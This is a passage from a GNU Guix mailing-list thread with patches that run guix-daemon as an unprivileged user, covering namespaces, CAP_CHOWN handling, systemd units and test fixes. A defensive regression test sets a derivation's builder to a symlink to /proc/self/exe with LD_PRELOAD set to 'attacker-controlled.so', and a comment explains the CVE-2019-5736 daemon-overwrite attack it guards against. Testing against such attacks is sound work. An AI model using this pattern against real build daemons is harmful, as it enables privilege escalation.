             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1960,14 +1982,36 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	readiness.readSide.close();
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
+	readiness.writeSide.close();
     } else
 #endif
     {
@@ -2013,23 +2057,37 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.writeSide >= 0) readiness.writeSide.close();
+
+	if (readiness.readSide >= 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     readiness.readSide.close();
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2180,6 +2238,27 @@ void DerivationGoal::runChild()
 	    /* Remount root as read-only.  */
             if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
                 throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
+
+	    if (getuid() != 0) {
+		/* Create a new mount namespace to "lock" previous mounts.
+		   See mount_namespaces(7).  */
+		auto uid = getuid();
+		auto gid = getgid();
+
+		if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
+		    throw SysError(format("creating new user and mount namespaces"));
+
+		initializeUserNamespace(getpid(), uid, gid);
+
+		/* Check that mounts within the build environment are "locked"
+		   together and cannot be separated from within the build
+		   environment namespace.  Since
+		   umount(2) is documented to fail with EINVAL when attempting
+		   to unmount one of the mounts that are locked together,
+		   check that this is what we get.  */
+		int ret = umount(tmpDirInSandbox.c_str());
+		assert(ret == -1 && errno == EINVAL);
+	    }
         }
 #endif
 
@@ -2262,6 +2341,7 @@ void DerivationGoal::runChild()
         writeFull(STDERR_FILENO, "\n");
 
         /* Execute the program.  This should not return. */
+	string builderBasename;
         if (isBuiltin(drv)) {
             try {
                 logType = ltFlat;
@@ -2285,11 +2365,25 @@ void DerivationGoal::runChild()
                 writeFull(STDERR_FILENO, "error: " + string(e.what()) + "\n");
                 _exit(1);
             }
-        }
+        } else {
+	    /* Ensure that the builder is within the store.  This prevents
+	       users from using /proc/self/exe (or a symlink to it) as their
+	       builder, which could allow them to overwrite the guix-daemon
+	       binary (CVE-2019-5736).
+
+	       This attack is possible even if the target of /proc/self/exe is
+	       outside the chroot (it's as if it were a hard link), though it
+	       requires that its ELF interpreter and dependencies be in the
+	       chroot.
+
+	       Note: 'canonPath' throws if 'drv.builder' cannot be resolved
+	       within the chroot.  */
+	    builderBasename = baseNameOf(drv.builder);
+	    drv.builder = canonPath(drv.builder, true);
+	}
 
         /* Fill in the arguments. */
         Strings args;
-        string builderBasename = baseNameOf(drv.builder);
         args.push_back(builderBasename);
         foreach (Strings::iterator, i, drv.args)
             args.push_back(rewriteHashes(*i, rewritesToTmp));
@@ -2476,8 +2570,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2736,16 +2838,46 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		bool reown = false;
+
+		/* First remove setuid/setgid bits.  */
+		secureFilePerms(tmpDir);
+
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			reown = true;
+		    }
+
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
+		    if (reown) chown(tmpDir.c_str(), getuid(), getgid());
+
 		    // Rename tmpDir to its parent, with an intermediate step.
 		    string pivot = top + ".pivot";
 		    if (rename(top.c_str(), pivot.c_str()) == -1)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (reown)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbce..83e6c3e16e 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
diff --git a/tests/derivations.scm b/tests/derivations.scm
index 72ea9aa9cc..9ea8b4a300 100644
--- a/tests/derivations.scm
+++ b/tests/derivations.scm
@@ -858,6 +858,16 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (call-with-input-file (derivation->output-path drv)
            get-string-all))))
 
+(test-assert "builder is outside the store"
+  (let* ((builder (add-file-tree-to-store %store
+                                          `("builder" symlink "/proc/self/exe")))
+         (drv (derivation %store "attempt-to-run-guix-daemon" builder '()
+                          #:env-vars
+                          '(("LD_PRELOAD" . "attacker-controlled.so")))))
+    (guard (c ((store-protocol-error? c) c))
+      (build-derivations %store (list drv))
+      #f)))
+
 
 (define %coreutils
   (false-if-exception
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, maxim.cournoyer@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:25 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:25 2025
Received: from localhost ([127.0.0.1]:59199 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMxA-0006az-H2
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:24 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43306)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwI-0006T3-UP
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:32 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwD-0001Ih-Jk; Thu, 20 Mar 2025 16:56:25 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Ngm8ANKAcfFhwlcmZn793WD7YKtaQddq8o8d6i84570=; b=qLarU0dj+QJphzNxQq1I
 8XZfdZLpvm4KYSeRlgM4hkR4eTrGjVQ7eY3sZFExyAlsDYF8S+o84jbbpiSdR5Kz+PlKBbdwRmSUY
 robLVz8T16NDutJYCP7epsmfGiscIneTWDWuWgfVIVg/iJxy1CYHv4Lt7kSN5kcnxe0rxkjwNX66E
 hPTKk5uF0f7eqFGnr8x3AiBcsNK6ZeySJo5NitQTuSTHf/I/AxCtt+GcPTCCOTnib4rgzM5iOYU6J
 jkfa8ipc/JcumGjYOR8tsA+fV21wFEpnDGUnrKbELwrmCbvrSNvQn5YnM5BpSxOz0eAYApYE6GPRF
 7RU/rXAAS0I+2w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 14/16] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Thu, 20 Mar 2025 21:54:47 +0100
Message-ID: <ef2307612d5f50df2e3be8767eb901257bfa599c.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(Environment): Add ‘GUIX_STATE_DIRECTORY’.
(Before, User, AmbientCapabilities, PrivateMounts, BindPaths): New fields.
* etc/gnu-store.mount.in (Before): Remove.
(WantedBy): Change to ‘multi-user.target’.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/gnu-store.mount.in     |  3 +--
 etc/guix-daemon.service.in | 22 ++++++++++++++++++++--
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/etc/gnu-store.mount.in b/etc/gnu-store.mount.in
index c94f2db72b..f9918c9e52 100644
--- a/etc/gnu-store.mount.in
+++ b/etc/gnu-store.mount.in
@@ -2,10 +2,9 @@
 Description=Read-only @storedir@ for GNU Guix
 DefaultDependencies=no
 ConditionPathExists=@storedir@
-Before=guix-daemon.service
 
 [Install]
-WantedBy=guix-daemon.service
+WantedBy=multi-user.target
 
 [Mount]
 What=@storedir@
diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1..6a5ef97f9b 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -5,11 +5,29 @@
 [Unit]
 Description=Build daemon for GNU Guix
 
+# Start before 'gnu-store.mount' to get a writable view of the store.
+Before=gnu-store.mount
+
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
-Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+Environment='GUIX_STATE_DIRECTORY=@localstatedir@/guix' 'GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Bind-mount the store read-write in a private namespace, to counter the
+# effect of 'gnu-store.mount'.
+PrivateMounts=true
+BindPaths=@storedir@
+
+# Provide the CAP_CHOWN capability so that guix-daemon can create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:24 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:24 2025
Received: from localhost ([127.0.0.1]:59197 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMx6-0006aR-Ip
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:24 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43276)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwF-0006SU-Qh
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:31 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwA-0001Hu-6I; Thu, 20 Mar 2025 16:56:22 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=VxUd1aOcvzD/pYxOxBWjge8/c0+rM0LNoWab4Huyg4s=; b=sOIW8HgIG9yji1FC69p9
 fcpPRcY+R3yPMeO+3jLKZZ9uxsNTZA70jxiZisQwpR95+Ea8a6+z6Ei2t6Vf7DlRICecSr4H1wUTf
 ez4BNrDPJhQlqjy3aoxfLbg6qg89fQW0OrEACoCDgYirBdTDFTr/3k4ef6T5c7AsP9DaUGy5/hih6
 okC0t+c5HTXOpoVa0lgLhQSZf4owf0f6Tj0ku9itw0gexL3T/PsEex6PDl4pFAk5hZgXjUSdCFlPc
 p02MLyETwosDnDOJDy6HNzU5WOErh1ZwCM50pWFE01l3GcFTe+cXOv/otAmxPTa8wzbM+7Jv/gLqP
 FWyY351rylHxGw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 11/16] =?UTF-8?q?linux-container:=20=E2=80=98unprivileg?=
 =?UTF-8?q?ed-user-namespace-supported=3F=E2=80=99=20returns=20#f=20on=20n?=
 =?UTF-8?q?on-Linux.?=
Date: Thu, 20 Mar 2025 21:54:44 +0100
Message-ID: <83d801db84571a21ca93b2d177fca07888b99644.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

Previously this procedure would return #t on non-Linux systems.

* gnu/build/linux-container.scm (unprivileged-user-namespace-supported?):
When USERNS-FILE doesn’t exist, return (user-namespace-supported?).

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I92050338b8b68bc3bd87100317eba69fcdf14a0a
---
 gnu/build/linux-container.scm | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/gnu/build/linux-container.scm b/gnu/build/linux-container.scm
index 5c303da8c8..a5c5d8962e 100644
--- a/gnu/build/linux-container.scm
+++ b/gnu/build/linux-container.scm
@@ -1,6 +1,6 @@
 ;;; GNU Guix --- Functional package management for GNU
 ;;; Copyright © 2015 David Thompson <davet@HIDDEN>
-;;; Copyright © 2017-2019, 2022, 2023 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2017-2019, 2022-2023, 2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -44,7 +44,7 @@ (define (unprivileged-user-namespace-supported?)
   (let ((userns-file "/proc/sys/kernel/unprivileged_userns_clone"))
     (if (file-exists? userns-file)
         (eqv? #\1 (call-with-input-file userns-file read-char))
-        #t)))
+        (user-namespace-supported?))))
 
 (define (setgroups-supported?)
   "Return #t if the setgroups proc file, introduced in Linux-libre 3.19,
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:57:21 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:57:20 2025
Received: from localhost ([127.0.0.1]:59195 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMx4-0006Zx-Do
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:20 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:43278)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMwH-0006Sh-00
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:56:31 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tvMwB-0001I9-Fv; Thu, 20 Mar 2025 16:56:23 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=h7pyHW14Ad8JD4BI17aR8N2pOM+R05MYeaIc86GwjoI=; b=nUzjFVSiVMGh9BsBMpwN
 CLB7hAlstMwvK3iEiocpmPyZ/71z3RCRmjBz0ANi4WbkLsOMg1SsAtLQ9nRuNIRQrjz5d3WGWaZc8
 HTsjCz+SFSztQQ49NicpIVX2vZAcFkFh4pyCJoRi31TTRfBU8E2LD2wJ+AtEHLs0zBPhrkVBuqIDo
 tRQ2OHtw5plA0D6KDKSZUkwG8BBhaf0CBdFqlc+2K2Sy8HTYUlakVAXRsL+etLFi9RSV11/bjPecu
 F0xYj46zCjKx/9duCt3oOzFc7f0EA/hPEJl8pGe3GlJU0BMrQrSMtpJKwJaHyFksKY34fVw7Aylau
 L+AEmitaOrgflw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v7 12/16] tests: Add missing derivation inputs.
Date: Thu, 20 Mar 2025 21:54:45 +0100
Message-ID: <c295084210b8765cd27d8e10efb93179f2fa31b9.1742503591.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742503590.git.ludo@HIDDEN>
References: <cover.1742503590.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

These missing inputs go unnoticed when running ‘guix-daemon
--disable-chroot’ but are immediately visible otherwise.

* tests/derivations.scm ("fixed-output derivation"): Add %BASH to #:sources.
("fixed-output derivation: output paths are equal"):
("fixed-output derivation, recursive"):
("derivation with a fixed-output input"):
("derivation with duplicate fixed-output inputs"):
("derivation with equivalent fixed-output inputs"):
("build derivation with coreutils"): Likewise.
* tests/packages.scm (bootstrap-binary): New procedure.
("package-source-derivation, origin, sha512"): Use it instead of
‘search-bootstrap-binary’ and add BASH to #:sources.
("package-source-derivation, origin, sha3-512"): Likewise.

Change-Id: I4c9087df23c47729a3aff15e9e1435b7266e36e2
---
 tests/derivations.scm | 24 +++++++++++++++---------
 tests/packages.scm    | 13 +++++++++----
 2 files changed, 24 insertions(+), 13 deletions(-)

diff --git a/tests/derivations.scm b/tests/derivations.scm
index 9ea8b4a300..b364110de0 100644
--- a/tests/derivations.scm
+++ b/tests/derivations.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2012-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2012-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;;
 ;;; This file is part of GNU Guix.
 ;;;
@@ -443,7 +443,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                      (string-append
                                       "fixed-" (symbol->string hash-algorithm))
                                      %bash `(,builder)
-                                     #:sources `(,builder) ;optional
+                                     #:sources (list %bash builder)
                                      #:hash hash
                                      #:hash-algo hash-algorithm)))
            (build-derivations %store (list drv))
@@ -462,9 +462,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv1       (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (drv2       (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (succeeded? (build-derivations %store (list drv1 drv2))))
     (and succeeded?
@@ -477,7 +479,7 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (drv        (derivation %store "fixed-rec"
                                  %bash `(,builder)
-                                 #:sources (list builder)
+                                 #:sources (list %bash builder)
                                  #:hash (base32 "0sg9f58l1jj88w6pdrfdpj5x9b1zrwszk84j81zvby36q9whhhqa")
                                  #:hash-algo 'sha256
                                  #:recursive? #t))
@@ -511,9 +513,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed-out  (derivation->output-path fixed1))
          (builder3   (add-text-to-store
@@ -548,9 +552,11 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
          (hash       (gcrypt:sha256 (string->utf8 "hello")))
          (fixed1     (derivation %store "fixed"
                                  %bash `(,builder1)
+                                 #:sources (list %bash builder1)
                                  #:hash hash #:hash-algo 'sha256))
          (fixed2     (derivation %store "fixed"
                                  %bash `(,builder2)
+                                 #:sources (list %bash builder2)
                                  #:hash hash #:hash-algo 'sha256))
          (builder3   (add-text-to-store %store "builder.sh"
                                         "echo fake builder"))
@@ -580,21 +586,21 @@ (define* (directory-contents dir #:optional (slurp get-bytevector-all))
                                       '()))
          (hash     (gcrypt:sha256 (string->utf8 "hello")))
          (drv1     (derivation %store "fixed" %bash (list builder1)
-                               #:sources (list builder1)
+                               #:sources (list %bash builder1)
                                #:hash hash #:hash-algo 'sha256))
          (drv2     (derivation %store "fixed" %bash (list builder2)
-                               #:sources (list builder2)
+                               #:sources (list %bash builder2)
                                #:hash hash #:hash-algo 'sha256))
          (drv3a    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
+                               #:sources (list %bash builder3)
                                #:inputs (list (derivation-input drv1))))
          (drv3b    (derivation %store "fixed-user" %bash (list builder3)
                                #:outputs '("one" "two")
-                               #:sources (list builder3)
